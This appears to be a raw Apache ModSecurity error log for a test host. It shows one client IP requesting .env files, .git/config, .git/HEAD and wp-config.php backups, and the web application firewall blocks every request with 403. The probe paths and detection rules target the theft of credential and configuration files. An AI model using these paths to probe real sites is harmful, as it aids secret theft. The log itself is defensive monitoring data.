[Wed Mar 11 20:56:35.889631 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abHI86LYNbOGi8i_DeWmCAAAAAo"]
[Wed Mar 11 20:56:35.889802 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abHI86LYNbOGi8i_DeWmCAAAAAo"]
[Wed Mar 11 20:56:35.889943 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abHI86LYNbOGi8i_DeWmCAAAAAo"]
[Wed Mar 11 20:56:35.923221 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abHI81HINoBDNij9jADMEAAAAAE"]
[Wed Mar 11 20:56:35.923410 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abHI81HINoBDNij9jADMEAAAAAE"]
[Wed Mar 11 20:56:35.923557 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abHI81HINoBDNij9jADMEAAAAAE"]
[Wed Mar 11 20:56:36.058187 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "abHI9KLYNbOGi8i_DeWmCQAAAAo"]
[Wed Mar 11 20:56:36.058387 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "abHI9KLYNbOGi8i_DeWmCQAAAAo"]
[Wed Mar 11 20:56:36.058526 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "abHI9KLYNbOGi8i_DeWmCQAAAAo"]
[Wed Mar 11 20:56:36.107439 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /db/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db/.env"] [unique_id "abHI9A5jPndcvXiI_NwnJQAAAA0"]
[Wed Mar 11 20:56:36.107613 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db/.env"] [unique_id "abHI9A5jPndcvXiI_NwnJQAAAA0"]
[Wed Mar 11 20:56:36.107752 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db/.env"] [unique_id "abHI9A5jPndcvXiI_NwnJQAAAA0"]
[Wed Mar 11 20:56:36.114082 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "abHI9P-pQA8QpEk0_N8YUgAAAAA"]
[Wed Mar 11 20:56:36.114268 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "abHI9P-pQA8QpEk0_N8YUgAAAAA"]
[Wed Mar 11 20:56:36.114425 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "abHI9P-pQA8QpEk0_N8YUgAAAAA"]
[Wed Mar 11 20:56:36.185472 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "abHI9FHINoBDNij9jADMEQAAAAE"]
[Wed Mar 11 20:56:36.185648 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "abHI9FHINoBDNij9jADMEQAAAAE"]
[Wed Mar 11 20:56:36.185802 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "abHI9FHINoBDNij9jADMEQAAAAE"]
[Wed Mar 11 20:56:36.186358 2026] [authz_core:error] [pid 2634336] [client 185.177.72.60:51252] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/.env
[Wed Mar 11 20:56:36.397846 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "abHI9FHINoBDNij9jADMEgAAAAE"]
[Wed Mar 11 20:56:36.398089 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "abHI9FHINoBDNij9jADMEgAAAAE"]
[Wed Mar 11 20:56:36.398274 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "abHI9FHINoBDNij9jADMEgAAAAE"]
[Wed Mar 11 20:56:36.464744 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "abHI9IMnPAWHo4A6z1M1ywAAAAk"]
[Wed Mar 11 20:56:36.464947 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "abHI9IMnPAWHo4A6z1M1ywAAAAk"]
[Wed Mar 11 20:56:36.465111 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "abHI9IMnPAWHo4A6z1M1ywAAAAk"]
[Wed Mar 11 20:56:36.470240 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "abHI9Eas0R32zSQmEomvPAAAABM"]
[Wed Mar 11 20:56:36.470452 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "abHI9Eas0R32zSQmEomvPAAAABM"]
[Wed Mar 11 20:56:36.470598 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "abHI9Eas0R32zSQmEomvPAAAABM"]
[Wed Mar 11 20:56:37.073044 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHI9d0ogWVDBS0cZUmEogAAABI"]
[Wed Mar 11 20:56:37.073204 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHI9d0ogWVDBS0cZUmEogAAABI"]
[Wed Mar 11 20:56:37.073370 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHI9d0ogWVDBS0cZUmEogAAABI"]
[Wed Mar 11 20:56:37.075117 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abHI9bVttqDN05FhB27JAAAAAAs"]
[Wed Mar 11 20:56:37.075234 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abHI9bVttqDN05FhB27JAAAAAAs"]
[Wed Mar 11 20:56:37.075340 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abHI9bVttqDN05FhB27JAAAAAAs"]
[Wed Mar 11 20:56:37.082481 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHI9eBvFsx28IYw-q9nFQAAAAg"]
[Wed Mar 11 20:56:37.082590 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHI9eBvFsx28IYw-q9nFQAAAAg"]
[Wed Mar 11 20:56:37.082712 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHI9eBvFsx28IYw-q9nFQAAAAg"]
[Wed Mar 11 20:56:37.082825 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHI9eBvFsx28IYw-q9nFQAAAAg"]
[Wed Mar 11 20:56:37.144085 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHI9QGa7hTYdm05K1T1vQAAAAU"]
